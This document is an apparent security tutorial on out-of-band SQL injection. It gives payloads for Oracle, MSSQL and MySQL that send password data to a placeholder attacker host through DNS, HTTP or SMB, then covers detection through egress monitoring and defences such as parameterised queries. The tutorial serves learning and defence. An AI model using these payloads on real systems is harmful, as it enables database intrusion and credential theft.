Out-of-Band SQL Injection

Out-of-band (OOB) SQL injection is used when the injection returns nothing useful in the response (no result, no error, no reliable timing difference): instead of reading the output on the same HTTP channel, you force the database to open a network connection to an attacker's server (DNS or HTTP), and the data travels over that second channel. It is the evolution of blind when even timing fails.

First you confirm the database can talk outbound by triggering an interaction with a collaborator (Burp Collaborator or your own domain). Each engine has its network primitive:

-- Oracle: UTL_HTTP / external DTD resolution
' UNION SELECT UTL_HTTP.REQUEST('http://<lhost>/') FROM dual-- -
-- MSSQL: SMB/UNC coercion (shows up in a responder/tcpdump)
'; EXEC master..xp_dirtree '\\<lhost>\x'-- -
-- MySQL (Windows): LOAD_FILE against your own UNC (needs FILE and a permissive secure_file_priv)
' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.<lhost>\\x'))-- -

Once the channel is confirmed, you exfiltrate the data by embedding it in the query's hostname: the DNS resolution itself carries the password as a subdomain to the attacker's server, which reads it in its log.

-- Oracle: the data rides in the subdomain of the out-of-band request
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"?><!DOCTYPE r [<!ENTITY % x SYSTEM "http://'||(SELECT password FROM users WHERE rownum=1)||'.<lhost>/"> %x;]>'),'/l') FROM dual-- -
-- MSSQL: the hash/data travels in the UNC hostname (read it in responder)
'; DECLARE @d varchar(1024); SELECT @d=(SELECT TOP 1 password FROM users); EXEC('master..xp_dirtree "\\'+@d+'.<lhost>\x"')-- -

Requirements. The database must (1) have outbound network capability (functions like UTL_HTTP, xp_dirtree, LOAD_FILE with UNC) and (2) a firewall that allows that egress to the attacker. If the engine cannot initiate connections or the network blocks them, there is no OOB channel.

How to detect it. The signature is unexpected outbound traffic from the database server to an external host (DNS queries with long random subdomains, or outbound HTTP/SMB connections) originated by the application account. A network IDS or egress logging exposes it; the app should never initiate those connections.

Defence. Parameterised queries, revoke the database's network privileges (disable UTL_HTTP/UTL_TCP, external packages), and filter egress: the database server should not be able to open arbitrary connections to the Internet. It shares its goal with blind SQLi and error-based SQLi.